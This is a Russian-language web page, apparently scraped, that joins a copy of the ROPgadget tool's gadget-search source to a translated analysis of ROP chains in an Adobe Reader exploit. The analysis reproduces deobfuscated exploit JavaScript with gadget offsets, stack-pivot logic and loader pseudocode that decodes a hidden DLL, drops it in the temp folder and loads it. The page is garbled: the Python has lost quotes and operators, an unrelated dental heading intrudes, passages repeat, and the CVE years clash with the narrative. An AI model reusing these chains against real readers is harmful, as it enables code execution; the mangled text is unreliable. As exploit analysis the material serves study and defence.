Анализ вредоносных ROP цепочек

Анализ вредоносных ROP цепочек Гаджет

Ropgadget/gadgets.py at master · jonathansalwan/ropgadget

Permalink
## -*- coding: utf-8 -*-
##
## Jonathan Salwan — 2021-05-12 — ROPgadget tool
##
## http://twitter.com/JonathanSalwan
## http://shell-storm.org/project/ROPgadget/
##
importre
fromcapstoneimport*
classGadgets(object):
def__init__(self, binary, options, offset):
self.__binary=binary
self.__options=options
self.__offset=offset
self.__arch=self.__binary.getArch()
re_str=«»
ifself.__arch==CS_ARCH_X86:
re_str=«db|int3»
elifself.__arch==CS_ARCH_ARM64:
re_str=«brk|smc|hvc»
ifself.__options.filter:
ifre_str:
re_str =«|»
re_str =self.__options.filter
self.__filterRE=re.compile(«({})$».format(re_str)) ifre_strelseNone
def__passCleanX86(self, decodes):
br= [«ret», «retf», «int», «sysenter», «jmp», «call», «syscall»]
ifdecodes[1][2] notinbr:
returnTrue
ifnotself.__options.multibrandany(mnemonicinbrfor_, _, mnemonic, _indecodes[:1]):
returnTrue
ifany(«ret»inmnemonicfor_, _, mnemonic, _indecodes[:1]):
returnTrue
returnFalse
def__gadgetsFinding(self, section, gadgets, arch, mode):
PREV_BYTES=9# Number of bytes prior to the gadget to store.
opcodes=section[«opcodes»]
sec_vaddr=section[«vaddr»]
ret= []
md=Cs(arch, mode)
forgad_op, gad_size, gad_aligningadgets:
ifself.__options.align:
gad_align=self.__options.align
allRefRet= [m.start() forminre.finditer(gad_op, opcodes)]
forrefinallRefRet:
end=ref gad_size
foriinrange(self.__options.depth):
start=ref (i*gad_align)
if (sec_vaddr start) %gad_align==:
code=opcodes[start:end]
decodes=md.disasm_lite(code, sec_vaddr start)
decodes=list(decodes)
ifsum(sizefor_, size, _, _indecodes) !=i*gad_align gad_size:
# We’ve read less instructions than planned so something went wrong
continue
ifself.passClean(decodes):
continue
off=self.__offset
vaddr=off sec_vaddr start
g= {«vaddr»: vaddr}
ifnotself.__options.noinstr:
g[«gadget»] =» ; «.join(«{}{}{}».format(mnemonic, » «ifop_strelse«», op_str)
for_, _, mnemonic, op_strindecodes).replace(» «, » «)
ifself.__options.callPreceded:
prevBytesAddr=max(sec_vaddr, vaddrPREV_BYTES)
g[«prev»] =opcodes[prevBytesAddrsec_vaddr:vaddrsec_vaddr]
ifself.__options.dump:
g[«bytes»] =code
ret.append(g)
returnret
defaddROPGadgets(self, section):
arch=self.__binary.getArch()
arch_mode=self.__binary.getArchMode()
arch_endian=self.__binary.getEndian()
ifarch==CS_ARCH_X86:
gadgets= [
[xc3«, 1, 1], # ret
[xc2[x00xff]{2}», 3, 1], # ret <imm>
[xcb«, 1, 1], # retf
[xca[x00xff]{2}», 3, 1], # retf <imm>
# MPX
[xf2xc3«, 2, 1], # ret
[xf2xc2[x00xff]{2}», 4, 1], # ret <imm>
]
elifarch==CS_ARCH_MIPS:
gadgets= [] # MIPS doesn’t have RET instructions. Only JOP gadgets
elifarch==CS_ARCH_PPC:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x4ex80x00x20«, 4, 4] # blr
]
else:
gadgets= [
[x20x00x80x4e«, 4, 4] # blr
]
elifarch==CS_ARCH_SPARC:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x81xc3xe0x08«, 4, 4], # retl
[x81xc7xe0x08«, 4, 4], # ret
[x81xe8x00x00«, 4, 4] # restore
]
else:
gadgets= [
[x08xe0xc3x81«, 4, 4], # retl
[x08xe0xc7x81«, 4, 4], # ret
[x00x00xe8x81«, 4, 4] # restore
]
arch_mode=
elifarch==CS_ARCH_ARM:
gadgets= [] # ARM doesn’t have RET instructions. Only JOP gadgets
elifarch==CS_ARCH_ARM64:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[xd6x5fx03xc0«, 4, 4] # ret
]
else:
gadgets= [
[xc0x03x5fxd6«, 4, 4] # ret
]
arch_mode=CS_MODE_ARM
else:
print(«Gadgets().addROPGadgets() — Architecture not supported»)
returnNone
ifgadgets:
returnself.__gadgetsFinding(section, gadgets, arch, arch_mode arch_endian)
returngadgets
defaddJOPGadgets(self, section):
arch=self.__binary.getArch()
arch_mode=self.__binary.getArchMode()
arch_endian=self.__binary.getEndian()
ifarch==CS_ARCH_X86:
# we start with x86 and x64 common sequences operating on registers
gadgets= [
# call/jmp reg
# d0-d7=call,e0-e7=jmp
# x86: 0=eax,1=ecx,2=edx,3=ebx,4=esp,5=ebp,6=esi,7=edi
# x64: 0=rax,1=rcx,2=rdx,3=rbx,4=rsp,5=rbp,6=rsi,7=rdi
[xff[xd0xd7xe0xe7, 2, 1],
# call/jmp [reg]
# 10-17=call,20-27=jmp
# x86: 0=eax,1=ecx,2=edx,3=ebx, 6=esi,7=edi
# x64: 0=rax,1=rcx,2=rdx,3=rbx, 6=rsi,7=rdi
[xff[x10x13x16x17x20x23x26x27, 2, 1],
# call/jmp [reg]
# 14=call,24=jmp
# x86: esp
# x64: rsp
[xff[x14x24]x24«, 3, 1],
# call/jmp [reg offset], -0x80 <= offset <= 0x7f
# 50-57=call,60-67=jmp
# x86: 0=eax,1=ecx,2=edx,3=ebx, 5=ebp,6=esi,7=edi
# x64: 0=rax,1=rcx,2=rdx,3=rbx, 5=rbp,6=rsi,7=rdi
[xff[x50x53x55x57x60x63x65x67][x00xff, 3, 1],
# call/jmp [reg offset], -0x80 <= offset <= 0x7f
# 54=call,64=jmp
# x86: esp
# x64: rsp
[xff[x54x64]x24[x00xff, 4, 1],
# call/jmp [reg offset], -0x80000000 <= offset <= 0x7fffffff
# 90-97=call,a0-a7=jmp
# x86: 0=eax,1=ecx,2=edx,3=ebx, 5=ebp,6=esi,7=edi
# x64: 0=rax,1=rcx,2=rdx,3=rbx, 5=rbp,6=rsi,7=rdi
[xff[x90x93x95x97xa0xa3xa5xa7][x00xff]{4}», 6, 1],
# call/jmp [reg offset], -0x80000000 <= offset <= 0x7fffffff
# 94=call,a4=jmp
# x86: esp
# x64: rsp
[xff[x94xa4]x24[x00xff]{4}», 7, 1]
]
# in x64, by adding 41 before a sequence with
# 0=rax,1=rcx,2=rdx,3=rbx,4=rsp,5=rbp,6=rsi,7=rdi
# we convert it to the same sequence with
# 0= r8,1= r9,2=r10,3=r11,4=r12,5=r13,6=r14,7=r15
ifarch_mode==CS_MODE_64:
gadgets = [(x41« op, size 1, align) for (op, size, align) ingadgets]
# finally, add extra sequences common to x86 and x64
gadgets = [
[xeb[x00xff, 2, 1], # jmp offset
[xe9[x00xff]{4}», 5, 1], # jmp offset
# MPX
[xf2xff[x20x21x22x23x26x27]{1}», 3, 1], # jmp [reg]
[xf2xff[xe0xe1xe2xe3xe4xe6xe7]{1}», 3, 1], # jmp [reg]
[xf2xff[x10x11x12x13x16x17]{1}», 3, 1], # jmp [reg]
[xf2xff[xd0xd1xd2xd3xd4xd6xd7]{1}», 3, 1] # call [reg]
]
elifarch==CS_ARCH_MIPS:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x00[x40x60x80xa0xc0xe0]xf8x09[x00xff]{4}», 8, 4], # jalr $v[0-1]|$a[0-3]
[b»[x01x02][x00x20x40x60x80xa0xc0xe0]xf8x09[x00xff]{4}», 8, 4], # jalr $t[0-7]|$s[0-7]
[x03[x00x20xc0xe0]xf8x09[x00xff]{4}», 8, 4], # jalr $t[8-9]|$s8|$ra
[x00[x40x60x80xa0xc0xe0]x00x08[x00xff]{4}», 8, 4], # jr $v[0-1]|$a[0-3]
[b»[x01x02][x00x20x40x60x80xa0xc0xe0]x00x08[x00xff]{4}», 8, 4], # jr $t[0-7]|$s[0-7]
[x03[x00x20xc0xe0]x00x08[x00xff]{4}», 8, 4], # jr $t[8-9]|$s8|$ra
[b»[x0cx0f][x00xff]{7}», 8, 4], # jal addr
[b»[x08x0b][x00xff]{7}», 8, 4] # j addr
]
else:
gadgets= [
[x09xf8[x40x60x80xa0xc0xe0]x00[x00xff]{4}», 8, 4], # jalr $v[0-1]|$a[0-3]
[x09xf8[x00x20x40x60x80xa0xc0xe0][x01x02][x00xff]{4}», 8, 4], # jalr $t[0-7]|$s[0-7]
[x09xf8[x00x20xc0xe0]x03[x00xff]{4}», 8, 4], # jalr $t[8-9]|$s8|$ra
[x08x00[x40x60x80xa0xc0xe0]x00[x00xff]{4}», 8, 4], # jr $v[0-1]|$a[0-3]
[x08x00[x00x20x40x60x80xa0xc0xe0][x01x02][x00xff]{4}», 8, 4], # jr $t[0-7]|$s[0-7]
[x08x00[x00x20xc0xe0]x03[x00xff]{4}», 8, 4], # jr $t[8-9]|$s8|$ra
[b»[x00xff]{3}[x0cx0f][x00xff]{4}», 8, 4], # jal addr
[b»[x00xff]{3}[x08x0b][x00xff]{4}», 8, 4] # j addr
]
elifarch==CS_ARCH_PPC:
gadgets= [] # PPC doesn’t have reg branch instructions
elifarch==CS_ARCH_SPARC:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x81xc0[x00x40x80xc0]{1}x00«, 4, 4] # jmp %g[0-3]
]
else:
gadgets= [
[x00[x00x40x80xc0]{1}xc0x81«, 4, 4] # jmp %g[0-3]
]
arch_mode=
elifarch==CS_ARCH_ARM64:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[xd6[x1fx5f]{1}[x00x03]{1}[x00x20x40x60x80xa0xc0xe0]{1}», 4, 4], # br reg
[xd6?[x00x03]{1}[x00x20x40x60x80xa0xc0xe0]{1}», 4, 4] # blr reg # noqa: W605 # FIXME: ?
]
else:
gadgets= [
[b»[x00x20x40x60x80xa0xc0xe0]{1}[x00x03]{1}[x1fx5f]{1}xd6«, 4, 4], # br reg
[b»[x00x20x40x60x80xa0xc0xe0]{1}[x00x03]{1}?xd6«, 4, 4] # blr reg # noqa: W605 # FIXME: ?
]
arch_mode=CS_MODE_ARM
elifarch==CS_ARCH_ARM:
ifself.__options.thumborself.__options.rawMode==«thumb»:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x47[x00x08x10x18x20x28x30x38x40x48x70]{1}», 2, 2], # bx reg
[x47[x80x88x90x98xa0xa8xb0xb8xc0xc8xf0]{1}», 2, 2], # blx reg
[xbd[x00xff]{1}», 2, 2] # pop {,pc}
]
else:
gadgets= [
[b»[x00x08x10x18x20x28x30x38x40x48x70]{1}x47«, 2, 2], # bx reg
[b»[x80x88x90x98xa0xa8xb0xb8xc0xc8xf0]{1}x47«, 2, 2], # blx reg
[b»[x00xff]{1}xbd«, 2, 2] # pop {,pc}
]
arch_mode=CS_MODE_THUMB
else:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[xe1x2fxff[x10x19x1e]{1}», 4, 4], # bx reg
[xe1x2fxff[x30x39x3e]{1}», 4, 4], # blx reg
[b»[xe8xe9][x10x1ex30x3ex50x5ex70x7ex90x9exb0xbexd0xdexf0xfe][x80xff][x00xff, 4, 4] # ldm {,pc}
]
else:
gadgets= [
[b»[x10x19x1e]{1}xffx2fxe1«, 4, 4], # bx reg
[b»[x30x39x3e]{1}xffx2fxe1«, 4, 4], # blx reg
[b»[x00xff][x80xff][x10x1ex30x3ex50x5ex70x7ex90x9exb0xbexd0xdexf0xfe][xe8xe9, 4, 4] # ldm {,pc}
]
arch_mode=CS_MODE_ARM
else:
print(«Gadgets().addJOPGadgets() — Architecture not supported»)
returnNone
ifgadgets:
returnself.__gadgetsFinding(section, gadgets, arch, arch_mode arch_endian)
returngadgets
defaddSYSGadgets(self, section):
arch=self.__binary.getArch()
arch_mode=self.__binary.getArchMode()
arch_endian=self.__binary.getEndian()
ifarch==CS_ARCH_X86:
gadgets= [
[xcdx80«, 2, 1], # int 0x80
[x0fx34«, 2, 1], # sysenter
[x0fx05«, 2, 1], # syscall
[x65xffx15x10x00x00x00«, 7, 1], # call DWORD PTR gs:0x10
[xcdx80xc3«, 3, 1], # int 0x80 ; ret
[x0fx34xc3«, 3, 1], # sysenter ; ret
[x0fx05xc3«, 3, 1], # syscall ; ret
[x65xffx15x10x00x00x00xc3«, 8, 1], # call DWORD PTR gs:0x10 ; ret
]
elifarch==CS_ARCH_MIPS:
ifarch_endian==CS_MODE_BIG_ENDIAN:
gadgets= [
[x00x00x00x0c«, 4, 4] # syscall
]
else:
gadgets= [
[x0cx00x00x00«, 4, 4] # syscall
]
elifarch==CS_ARCH_PPC:
gadgets= [] # TODO (sc inst)
elifarch==CS_ARCH_SPARC:
gadgets= [] # TODO (ta inst)
elifarch==CS_ARCH_ARM64:
gadgets= [] # TODO
elifarch==CS_ARCH_ARM:
ifself.__options.thumborself.__options.rawMode==«thumb»:
gadgets= [
[x00xff]{1}xef«, 2, 2] # FIXME: svc
]
arch_mode=CS_MODE_THUMB
else:
gadgets= [
[x00xff]{3}xef«, 4, 4] # FIXME: svc
]
arch_mode=CS_MODE_ARM
else:
print(«Gadgets().addSYSGadgets() — Architecture not supported»)
returnNone
ifgadgets:
returnself.__gadgetsFinding(section, gadgets, arch, arch_mode arch_endian)
return []
defpassClean(self, decodes):
ifnotdecodes:
returnTrue
ifself.__arch==CS_ARCH_X86andself.__passCleanX86(decodes):
returnTrue
ifself.__filterREandany(self.__filterRE.match(mnemonic) for_, _, mnemonic, _indecodes):
returnTrue
returnFalse

Анализ вредоносных rop цепочек

В феврале прошлого года в Adobe Reader была обнаружена получившая большую популярность уязвимость нулевого дня. Вы могли видеть ее анализ в различных источниках. Не так давно я наткнулся на вариант этой уязвимости и посчитал, что будет полезно предоставить больше информации о ROP цепочках, содержащихся в эксплоите.

Автор: Brad Antoniewicz.

В феврале этого года в Adobe Reader была обнаруженаполучившая большую популярность уязвимость нулевого дня. Вы могли видеть ее анализ вразличныхисточниках. Не так давно я наткнулся на вариант этой уязвимости и посчитал, что будет полезно предоставитьбольше информации о ROP цепочках, содержащихся в эксплоите.

Немного о предпосылках

После того как Adobe была оповещена об эксплоите, их аналитики заявили о двух уязвимостях:CVE-2021-0640 и CVE-2021-0641. Изначально абстрактное описание уязвимостей не позволило мне определить, какая из них эксплуатировалась в эксплоите, но вот что мне помогло. CVE-2021-0640 использовалась в первом варианте эксплоита для раскрытия адресов памяти и выполнения кода. Далее эксплоит передает управление другой DLL, обходящей песочницу Adobe Reader’а с помощью CVE-2021-0641.

Характеристики эксплоита

Так как я являюсь человеком искушенным, то отношусь к тем людям, которым нравятся качественно написанные эксплоиты и прочие вредоносные программы. Данный вариант меня заинтересовал в основном тем, что он эксплуатировал достаточно интересную уязвимость и показался мне весьма изощренным. Тем не менее, в нем нашлось много странно структурированного кода, дублирование и, кроме всего прочего, он был нестабилен. Появилось такое ощущение, что эксплоит писали несколько людей: один обнаружил уязвимость, второй написал ROP цепочки и третий собрал все воедино. И если бы это делала моя команда, то я бы уволил третьего.

Теперь давайте рассмотрим основные характеристики эксплоита, которые не являются частью ROP, но, тем не менее, важны.

Javascript Stream

Эксплоит написан на JavaScript, встроенный в PDF поток. Очень рекомендую извлечь JavaScript:

root@kali:~# pdfextract evil.pdf

Обфускация

Анализ вредоносных ROP цепочек

JavaScript был похож на описанные в предыдущих статьях: он частично обфусцирован, но в нем встречаются несколько читабельных вставок на итальянском/испанском языках. Например,

ROP_ADD_ESP_4 = 0x20c709bb;

.

.

.

pOSSEDER[sEGUENDO - 1] = "amor";

pOSSEDER[sEGUENDO - 5] = "fe";

pOSSEDER[sEGUENDO - 10] = "esperanza";

Почти все в данной статье – результат деобфускации JavaScript вручную.

Гаджет:  ВИДЫ ВКЛАДОК.ОБЩИЕ ПРИНЦИПЫ ФОРМИРОВАНИЯ ПОЛОСТЕЙ

Похожий JavaScript эксплоит был найден на китайском форуме по безопасности. Не могу сказать, насколько, и вообще связаны ли эти эксплоиты, возможно, на китайском сайте просто поменяли названия обфусцированных функций на более читабельные. Анализ показал, что структурно обфусцированная и переименованная версии очень похожи.

Поддержка версий

Сначала для определения версии Reader’а эксплоит проверяет результат выполнения app[‘viewerVersion’]. Эксплоит поддерживает следующие версии:

  • 10.0.1.434
  • 10.1.0.534
  • 10.1.2.45
  • 10.1.3.23
  • 10.1.4.38
  • 10.1.4.38ARA
  • 10.1.5.33
  • 11.0.0.379
  • 11.0.1.36
  • 9.5.0.270
  • 9.5.2.0
  • 9.5.3.305

Автор разработал полные ROP цепочки для каждой версии, на это ушло явно не 5 минут. В данной статье я сфокусируюсь на версии 10.1.2.45.

ASLR

Анализ вредоносных ROP цепочек

Уязвимость утечки адресов в AcroForm.api ведет к обходуASLR через предоставление адреса загрузки модуля AcroForm.api. Создателям эксплоита необходимо было сначала воспользоваться уязвимостью, потом получить адрес загрузки модуля и, наконец, добавить смещение в ROP цепочки во время выполнения, но до загрузки в память.

Подмена стека.

Анализ вредоносных ROP цепочек

После того, как мы выполним код, использующий уязвимость, эксплоит укажет Reader;у на ROP гаджет, который в свою очередь передаст управление программой от стека к ROP цепочкам, уже загруженным в кучу. Странно, что подмененный адрес стека определяется в переменой функции построения ROP цепочек самого JavaScript’а, хотя ее можно было возвращать как результат вызова функции. И еще, вместо того, чтобы определить подмененный адрес стека как смещение, автор определил его как абсолютный адрес с помощью IDA.

Следующим шагом эксплоит делит адрес загрузки по умолчанию (из адреса гаджета), что позволяет ему получить смещение, а затем добавляет к нему адрес, полученный через уязвимость. Это абсолютно другой подход к программированию, нежели подход, использованный в функции по нахождению адреса гаджета. Именно этот факт позволяет утверждать, что эксплоит был написан несколькими программистами, или же в процессе создания для нахождения адреса подмены стека использовались несколько плагинов IDA. Далее я приведу важные части JavaScript кода, раскрывающие картину подмены стека:

function getROP(AcrobatVersion,moduleLoadAddr){

.

.

.

else if(AcrobatVersion == '10.1.2.45'){

var r="";

r =getUnescape(moduleLoadAddr 0x17);

r =getUnescape(moduleLoadAddr 0x17);

.

.

.

}

STACK_PIVOT = 0x2089209e ;

return r;

}

var ropString = getROP(AdobeVersionStr['AcrobatVersion'], moduleLoadAddr);

var idaLoadAddr= (0x20801000);

stackPivotOffset = getUnescape(STACK_PIVOT — idaLoadAddr moduleLoadAddr);

Как вы можете заметить, здесь приведены 2 метода:

«getUnescape(moduleLoadAddr 0x17);» и более сложный

«getUnescape(STACK_PIVOT — idaLoadAddr moduleLoadAddr);».

Для того чтобы определить подмену стека, нет необходимости углубляться в изучение кода, можно просто установить точку останова в WinDBG на одном из первых ROP гаджетов в функции построения цепочек: moduleOffset 0x41bc90 —

0:000> lmf m AcroForm

start end module name

63a80000 64698000 AcroForm C:Program FilesAdobeReader 10.0Readerplug_insAcroForm.api

0:000> uf 63a80000 1000 0x41bc90

AcroForm!DllUnregisterServer 0x39dc1a:

63e9cc90 54 push esp

63e9cc91 5e pop esi

63e9cc92 c3 ret

0:000> bp 63a80000 1000 0x41bc90

0:000> g

По достижении точки останова, мы можем посмотреть, куда ссылается указатель стека. И так как он ссылается на адрес в куче (а не в стеке), мы можем утверждать, что подмена стека произведена.

Breakpoint 5 hit

eax=0000f904 ebx=00000001 ecx=63b1209e edx=00000000 esi=165acd6c edi=05c49f18

eip=63e9cc90 esp=118455ac ebp=001ede18 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

AcroForm!DllUnregisterServer 0x39dc1a:

63e9cc90 54 push esp

Также на данном этапе мы можем увидеть, что был загружен блок кучи, содержащий ROP цепочки (на него указывает ESP). Для того, чтобы найти начало блока кучи и проанализировать его, мы можем воспользоваться командой !heap. По смещению 0x4 находится подмененный стек:

0:000> !heap -p -a esp

address 118455ac found in

_HEAP @ 1ab0000

HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

1183f8f8 1927 0000 [00] 1183f900 0c930 - (busy)

0:000> dd 1183f900

1183f900 00380038 63b1209e 63a81017 63a81017

1183f910 63a81017 63a81017 63a81017 63a81017

1183f920 63a81017 63a81017 63a81017 63a81017

1183f930 63a81017 63a81017 63a81017 63a81017

1183f940 63a81017 63a81017 63a81017 63a81017

1183f950 63a81017 63a81017 63a81017 63a81017

1183f960 63a81017 63a81017 63a81017 63a81017

1183f970 63a81017 63a81017 63a81017 63a81017

0:000> uf 63b1209e

AcroForm!DllUnregisterServer 0x13028:

63b1209e 50 push eax

63b1209f 5c pop esp

63b120a0 59 pop ecx

63b120a1 0fb7c0 movzx eax,ax

63b120a4 c3 ret

DLL JavaScript

Каждая зависимая от версии ROP цепочка в конце содержит

0x6f004d

0x750064

0x65006c

,что является шестнадцатиричным эквивалентом unicode строки “Module”. Далее мы увидим, что ROP цепочки ищут этот разделитель (“Module”) в памяти процесса для того, чтобы определить блок, являющийся началом base64 DLL, используемой в качестве файла загрузки (информационного содержимого, которое нам необходимо выполнить).

Псевдокод ROP.

Прежде чем углубляться в ассемблерный код цепочек, давайте рассмотрим их на высоком уровне. Для получения сжатых base64 DLL из памяти они используют WinAPI. DLL декодируется, распаковывается, а затем загружается. Если записать общий принцип работы псевдокодом, то мы получим нечто подобное:

hModule = LoadLibraryA("MSVCR90.DLL");

__wcsstr = GetProcAddress(hModule, "wcsstr");

base64blob = __wcsstr(PtrBlob, "Module");

hModule = LoadLibraryA(«Crypt32.dll»);

__CryptStringToBinaryA = GetProcAddress(hModule, «CryptStringToBinaryA»);

__CryptStringToBinaryA(base64blob, 0, CRYPT_STRING_BASE64, decodedBlob, pcbBinary, pdwSkip, pdwFlags );

hModule = LoadLibraryA(«NTDLL.dll»);

__RtlDecompressBuffer = GetProcAddress(hModule, «RtlDecompressBuffer»);

__RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, decompressedBlob, UncompressedBufferSize, decodedBlob, CompressedBufferSize, FinalUncompressedSize);

hModule = LoadLibraryA(«MSVCR90.DLL»);

__fwrite = GetProcAddress(hModule, «fwrite»);

hModule = LoadLibraryA(«Kernel32.dll»);

__GetTempPathA = GetProcAddress(hModule, «GetTempPathA»);

tmpPath = «C:UsersuserAppDataLocalTemp»;

__GetTempPathA(nBufferLength , tmpPath);

tmpPath = «D.T»;

hFile = fopen(tmpPath, «wb»);

fwrite(decompressedBlob, size, count, hFile);

fclose(hFile);

LoadLibraryA(«C:UsersuserAppDataLocalTempD.T»);

Sleep(0x1010101);

Установка

Первым действием цепочки является определение своего местоположения в памяти. Далее мы увидим, что благодаря этому, цепочка может динамически изменять аргументы, передаваемые функциям.

r =ue(t 0x41bc90) ; // push esp/pop esi/ret

Переменная r возвращается в виде ROP цепочки, ue() возвращает расшифрованную из переданных ей параметров строку, а в переменной t содержится адрес загрузки AcroForm.api.

Ранее приведенный псевдокод показывает, что ряд вызовов, в частности, LoadLibraryA() и GetProcAddress(), требуют на вход строковые аргументы. Это достигается прямым копированием строк в сегмент данных AcroForm.api.

Анализ вредоносных ROP цепочек

Часть JavaScript кода, ответственная за это, приведена ниже:

r =ue(t 0x51f5fd); pop eax/ret

r =getUnescape(moduleLoadAddr 0x818001); // data_segment 0x1

r =getUnescape(moduleLoadAddr 0x5efb29); // pop ecx/ret

r =getUnescape(0x54746547); // string

r =getUnescape(moduleLoadAddr 0x46d6ca); // mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); // pop eax/ret

r =getUnescape(moduleLoadAddr 0x818005); // data_segment 0x5

r =getUnescape(moduleLoadAddr 0x5efb29); // pop ecx/ret

r =getUnescape(0x50706d65); // string 0x4

r =getUnescape(moduleLoadAddr 0x46d6ca); // mov [eax], ecx/ret

Эти группы инструкций повторяются для каждого двойного слова в строке, увеличивая data_segment и смещение строк, соответственно. Полная строка, копируемая в сегмент данных, имеет следующий вид:

0:008> db 63470000 1000 0x818001 L4e

63c89001 47 65 74 54 65 6d 70 50-61 74 68 41 00 66 77 72 GetTempPathA.fwr

63c89011 69 74 65 00 77 62 00 43-72 79 70 74 53 74 72 69 ite.wb.CryptStri

63c89021 6e 67 54 6f 42 69 6e 61-72 79 41 00 6e 74 64 6c ngToBinaryA.ntdl

63c89031 6c 00 52 74 6c 44 65 63-6f 6d 70 72 65 73 73 42 l.RtlDecompressB

63c89041 75 66 66 65 72 00 77 63-73 73 74 72 00 41 uffer.wcsstr.A

Как можно отметить, есть строки для каждого аргумента функций.

Вызовы функций

Остаток ROP цепочек, в основном, содержит одинаковые повторяющиеся шаги:

  1. Подготовка аргументов для вызова функции.
  2. Вызов LoadLibraryA()
  3. 3. Вызов getProcAddress()
  4. 4. Вызов функции

Данные шаги выполняются для функций wcsstr(), CryptStringToBinaryA(), RtlDecompressBuffer(), fwrite(), GetTempPathA() иfclose(). Давайте посмотрим, как выглядит вызов одной из этих функций:

Вызов wcsstr()

Целью следующего набора инструкций является осуществление вызова wcsstr(). Согласно MSDN вызов должен выглядеть следующим образом:

wchar_t *wcsstr(

const wchar_t *str,

const wchar_t *strSearch

);

В качестве параметра *strSearch передается указатель из JavaScript ROP цепочки на сегмент .rdata AcroForm.api, содержащий юникодовую строку “Module”. Для того чтобы определить значение параметра *str, используется сохраненный указатель на стек, полученный в первых инструкциях цепочки. Это позволяет вычислить адрес *strSearch на стеке и поместить его по точному смещению туда, где его использует функция wcsstr(). На самом деле в качестве параметра *str может использоваться любой указатель в адресное пространство цепочки, так как значение *strSearch определено заранее (он находится в конце цепочки, где была добавлена строка “Module”, означающая начало данных загрузки). Задумайтесь, автор мог посчитать смещение в конце ROP и избежать вызова wcsstr().

Давайте посмотрим на JavaScript и ассемблерный код. Первый набор гаджетов определяет адреса памяти на стеке строки “Module” сегмента .rdata AcroForm.api. Не забудьте, что ESI использовался в начале ROP цепочки для хранения указателя на стек после его подмены.

r =getUnescape(moduleLoadAddr 0x5ec230); // pop edi/ret

r =getUnescape(0xcccc0240);

r =getUnescape(moduleLoadAddr 0x4225cc); // movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); // ret

r =getUnescape(moduleLoadAddr 0x13ca8b); // add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x538c1d); // xchg eax,edi/ret

r =getUnescape(moduleLoadAddr 0x508c23); // xchg eax,ecx/ret

Одно замечание по поводу использования 0xcccc0240 в качестве смещения. Переход по адресу осуществляется после инструкции movsx edi, di. Думаю, автор хотел избежать появления null в цепочке, но если посмотреть в другие сегменты кода информационного содержимого, то там можно найти тонны null’ов. То есть использование null’ов не является необходимым, автор просто добавил себе работы. Поэтому у меня возникли подозрения, что ROP была сгенерирована автоматически или позаимствована из другого эксплоита.

В конца данного набора инструкций, адрес памяти на стеке указателя на “Module” .rdata находится в ECX.

Следующий набор инструкций определяет адрес на стеке, где находится параметр *str.

По данному смещению в цепочке находится значение 0x41414141, но последние 2 набора инструкций переписывают его на значение адреса на стеке указателя .rdata «Module».

r =getUnescape(moduleLoadAddr 0x5ec230); // pop edi/ret

r =getUnescape(0xcccc023c);

r =getUnescape(moduleLoadAddr 0x4225cc); // movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); // ret

r =getUnescape(moduleLoadAddr 0x13ca8b); // add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); // push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); // mov [eax], ecx/ret

В данный момент стек заполняется нужными параметрами по определенным смещениям, что позволит нам вызвать wcsstr(), которая найдет начало ROP цепочки с помощью строки “Module”.

Однако вызов wcsstr() не самая тривиальная задача. Следующий набор инструкций вызывает LoadLibraryA() для загрузки MSVCR90.dll. Это является первым подготовительным шагом для запуска самой функции. Очень рекомендуется использовать функцию LoadLibrary():

HMODULE WINAPI LoadLibrary(

_In_ LPCTSTR lpFileName

);

С учетом этого давайте рассмотрим ROP цепочку:

r =getUnescape(moduleLoadAddr 0x51f5fd); // pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} ; Address to kernel32!LoadLibraryA

r =getUnescape(moduleLoadAddr 0x4b1788); // call [eax]/ret

r =getUnescape(moduleLoadAddr 0x816e96); // ptr to "MSVCR90.dll"

r =getUnescape(moduleLoadAddr 0x508c23); // xchg eax,ecx/ret

Это довольно простой набор инструкций. В нем адрес LoadLibraryA() из таблицы импорта загружается на EAX, затем происходит вызов. Когда LoadLibraryA() обращается к стеку, чтобы забрать параметры, ей передается указатель на сегмент .rdata AcroForm.api, содержащий строку “MSVCR90.dll”. Функция возвращает обработчик в EAX, а затем копирует его в ECX.

Затем обработчик записывается по определенному смещению на стек, где позже его использует функция GetProcAddress. Следующий набор инструкций должен быть понятен, так как он повторяет действия, выполненные при подготовке стека для функции wcsstr() (которая, к слову, еще не вызывалась).

r =getUnescape(moduleLoadAddr 0x5ec230); // pop edi/ret

r =getUnescape(moduleLoadAddr 0xcccc022c);

r =getUnescape(moduleLoadAddr 0x4225cc); // movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); // ret

r =getUnescape(moduleLoadAddr 0x13ca8b); // add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); // push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); // mov [eax], ecx/ret

Далее следует вызов функции GetProcAddress():

FARPROC WINAPI GetProcAddress(

_In_ HMODULE hModule,

_In_ LPCSTR lpProcName

);

Как и в случае с LoadLibraryA(), вызов осуществляется с помощью загрузки адреса из таблицы импорта на EAX. Значение 0x41414141 было перезаписано в предыдущем наборе инструкций, и сейчас на его месте содержится обработчик, полученный после вызова LoadLibraryA(), который используется в качестве параметра hModule. Параметр lpProcName был определен в разделе настройки, где автор копировал строку в сегмент данных AcroForm.api. Точный адрес сегмента данных, содержащий строку “wcsstr”, уже был загружен в JavaScript.

r =getUnescape(moduleLoadAddr 0x51f5fd); // pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); // Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); // call [eax]/ret

